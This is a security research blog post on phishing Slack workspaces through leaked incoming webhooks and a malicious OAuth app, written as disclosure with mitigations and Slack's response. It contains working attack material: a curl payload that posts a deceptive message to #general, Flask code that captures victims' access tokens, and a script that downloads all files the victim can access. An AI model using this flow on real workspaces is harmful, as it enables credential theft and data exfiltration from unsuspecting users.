Slack phishing attacks using webhooks

April 14, 2020  |  Ashley Graves

Background

Slack is a cloud-based messaging platform that is commonly used in workplace communications. It is feature-rich, offering additional functionality such as video calling and screen sharing in addition to a marketplace containing thousands of third-party applications and add-ons.

Slack Incoming Webhooks allow you to post messages from your applications to Slack. By specifying a unique URL, your message body, and a destination channel, you can send a message to any webhook that you know the URL for in any workspace, regardless of membership. Webhooks take the format of https://hooks.slack.com/services/T00000000/B00000000/XXXXXXXXXXXXXXXXXXXXXXXX.

Generally, Slack webhooks are considered a low risk integration due to the following assumptions:

  • Webhook configuration requires selection of a target channel, reducing the scope of abuse to a single channel.
  • The unique webhook URL is secret.
  • The webhook only accepts data, and thus alone cannot expose sensitive data to third parties.

A deeper dive into webhooks shows that this is not entirely accurate.

First, a channel override allows you to override the previously specified webhook target channel by adding the “channel” key to your JSON payload. If you gain access to a webhook for one channel, you can use it in others. Considering sending to #general, #engineering, and other default or common channels to target a wider audience.

Channel override in Slack

In some cases, this can also override channel posting permissions (such as admin-only posting).

changing channel permissions

Slack documentation suggests that allowed target channels are based on the original creator of the webhook: “posting_to_general_channel_denied is thrown when an incoming webhook attempts to post to the "#general" channel for a workspace where posting to that channel is 1) restricted and 2) the creator of the same incoming webhook is not authorized to post there. You'll receive this error with a HTTP 403.”

So if you can find a webhook created by an admin - congrats, you can post to admin channels!

A quick search on Github shows 130,989 public code results containing Slack webhook URLs, with a majority containing the full unique webhook value.

The last assumption is true - webhooks can only accept data. That’s where we get creative.

Slack webhook phishing with Slack apps

The process itself is fairly simple:

  1. Discover leaked webhooks
  2. Create a Slack app and allow public installation of the app
  3. Send malicious messages to discovered hooks
  4. Track workspaces that install the malicious app
  5. Use the app to exfiltrate data from workspaces that install it

Discovery

As mentioned earlier, Github is a good start for scraping publicly committed webhook data.

App creation

First, create an app. You will also need a web server to handle the OAuth flow.

app creation in Slack

Slack apps don’t require OAuth, but in this case we will be using the Slack API to access data in workspaces where the malicious app is installed. When the user attempts to install the application, they must approve the requested OAuth scopes. Their approval is sent to the OAuth client, which retrieves an access token from the authorization server. This access token may be used to retrieve data using the specified service scopes until authorization is revoked. Read more about using OAuth 2.0 here.

You will also need to set your OAuth scope(s) to whatever data you want to exfiltrate from Slack. In my case, I chose files:read in order to access files on the victim's workspace.

oauth scope

Your redirect URL must be set to the OAuth client URL.

redirect URL

The following code snippet can be used to handle the OAuth 2.0 handshake using Python and Flask.

@app.route('/auth', methods=['GET', 'POST'])

def parse_request():

# Retrieve the auth code from the request params

    auth_code = request.args['code']


  # An empty string is a valid token for this request

    client = slack.WebClient(token="")


  # Request the auth tokens from Slack

    response = client.oauth_access(

        client_id=client_id,

        client_secret=client_secret,

        code=auth_code

    )


    user_token = response['access_token']

    print(user_token)

    get_data(user_token)

    return redirect("https://app.slack.com/client", code=302)

Messaging

The following payload will send a message to the #general channel associated with the unique webhook URL. In this scenario, we’re claiming that the webhook configuration needs to be updated.

Payload:

curl -X POST --data-urlencode "payload={\"channel\": \"#general\", \"text\": \"Error:   to update your Incoming Webhook configuration.\"}" https://hooks.slack.com/services/REDACTED/REDACTED/REDACTED

Message:

messaging incoming

The link points to https://slack.com/oauth/v2/authorize?scope=files:read&client_id=834500968371.846020497941, which is actually the shareable URL for my malicious Slack app.

Upon clicking, the user will be directed to install “Webhook Configuration”.

webhook configuration

At no point is it clear that the victim has interacted with any domain except for Slack.com.

Tracking installation

After exchanging the temporary authorization code for the access token, you will receive a response from Slack containing the access token in addition to some other data, including identifiers for the user, team, and enterprise they are part of.

{

    "ok": true,

    "access_token": "xoxb-17653672481-19874698323-pdFZKVeTuE8sk7oOcBrzbqgy",

    "token_type": "bot",

    "scope": "commands,incoming-webhook",

    "bot_user_id": "U0KRQLJ9H",

    "app_id": "A0KRD7HC3",

    "team": {

        "name": "Slack Softball Team",

        "id": "T9TK3CUKW"

    },

    "enterprise": {

        "name": "slack-sports",

        "id": "E12345678"

    },

    "authed_user": {

        "id": "U1234",

        "scope": "chat:write",

        "access_token": "xoxp-1234",

        "token_type": "user"

    }

}

Distribution statistics can also be tracked from your app’s Distribution page at https://api.slack.com/apps/.

distribution statistics

Exfiltration

Once you receive the user’s access token, you are free to access data on their behalf. Note that Slack has mostly moved to using perspectival scopes, i.e. user tokens or bot tokens that give access within the context of that entity. What you can access depends on the requester access and the scopes that your app initially requested. In my example, files:read was used.

def get_data(user_token):

      client = slack.WebClient(token=user_token)

      response = client.files_list()


      for file in response["files"]:

           url = file["url_private"]

           filename = os.path.basename(url)

           result = requests.get(url,

            headers={'Authorization': 'Bearer {}'.format(user_token)})

           print(result.content)

           with open(filename, 'wb') as f:

           f.write(result.content)

The above request allows us to list all files that the user has access to, and subsequently download each of them using the access token and the private URL returned by the files.list method.

Attack variants

The example in this post shows a simple phishing and data exfiltration flow. In theory, this could also be used for propagation of attacks across users and workspaces.

The chat.postMessage method allows you to send messages via channel or direct message. With the chat:write:user permission, messages can be sent as_user using the context of the user token. Compromising one member of your workspace would allow more targeted or convincing malicious messages to be sent to channels they are part of or directly to their peers, similar to the high-profile GSuite phishing attack in 2018 which was also covered by us in a previous blog post.

Users of shared channels can direct message users participating in the shared channels across workspaces. Targeting those users would allow for compromise across multiple workspaces.

Mitigation tactics

For Slack administrators

Application whitelisting

Administrators have the option to manage their users’ Slack applications. In less sensitive workspaces, this may involve only allowing apps from the app directory. Applications added to the directory are required to go through Slack’s own app security review process prior to approval.

More sensitive environments may call for application whitelisting/application approval, requiring an administrator to review and approve applications before installation. This option is strongly recommended for companies looking to comply with CCPA, GDPR, and other regulations that require tracking of sharing of personal data with third parties.

Detection of suspicious OAuth applications

If whitelisting is not an option or you’d like an extra layer of defense, you may be interested in detecting suspicious Slack OAuth applications that users are adding to your workspace. By ingesting Slack Audit Log data into a security analytics platform such as USM Anywhere, one can alert on these suspicious actions.

For example, some items of interest might include:

  • Multiple users installing the same app in a short period of time
  • Installation of applications using high-risk scopes
  • Detection of app_scopes_expanded when a previously installed app requires new scopes
  • Detection of uncommon calls that could be used for data exfiltration such as manual_export_started, an action that exports workspace data

See more on the event actions that can be monitored in Slack’s official documentation.

For Slack app implementation

Some mitigations could only be implemented by Slack.

Implement least privilege for Incoming webhooks

Webhooks should default to only working in the defined channel. Multi-channel webhooks/overrides should be a separate application or opt-in setting. Since the override feature is nested under a “Setup Instructions” pane that requires user interaction to display, many users are not aware of it. Webhooks should not be able to post to announcement-only/admin-only channels unless that channel is explicitly defined in the webhook configuration.

Improved awareness of secrets handling

None of the text on the Incoming Webhook configuration page asserts the importance of secure storage of the webhook URL. This issue paired with the hidden “features” of incoming webhooks may lead to users assuming low-to-no risk associated with webhooks, as is supported by the frequency of webhooks publicly committed.

Application verification

Apps that have not been reviewed by Slack and are not local to the workspace should have limited functionality or require further verification. Consider a process similar to the Google OAuth verification process, where unverified apps using high-risk scopes require additional developer identity verification and/or are capped to a certain number of users to avoid widespread abuse.

Response from Slack 4/9/20:

Webhooks are credential tools that provide access to posting functionality within a workspace. Though data cannot be exposed through webhooks on Slack, we do recommend that workspace owners or admins invalidate publicly exposed webhook URLs and generate new ones. To help Slack admins with that diligence, we proactively scrape GitHub for publicly exposed webhooks and invalidate them. Webhooks are safe as long as they remain secret since the webhook URL itself is unguessable. We also recommend workspace owners and admins use these best practices for storing credentials safely and that they review this guide to sending messages using incoming webhooks.

We also provide additional features to support the proper oversight of app installation and usage within workspaces, which help workspace owners and admins protect their workspaces. We allow teams to require admin approvals on all apps, and recommend they establish and follow basic security diligence procedures before permitting apps to be added into a workspace. Our security recommendations for approving apps can be found here.

Share this with others

Get price Free trial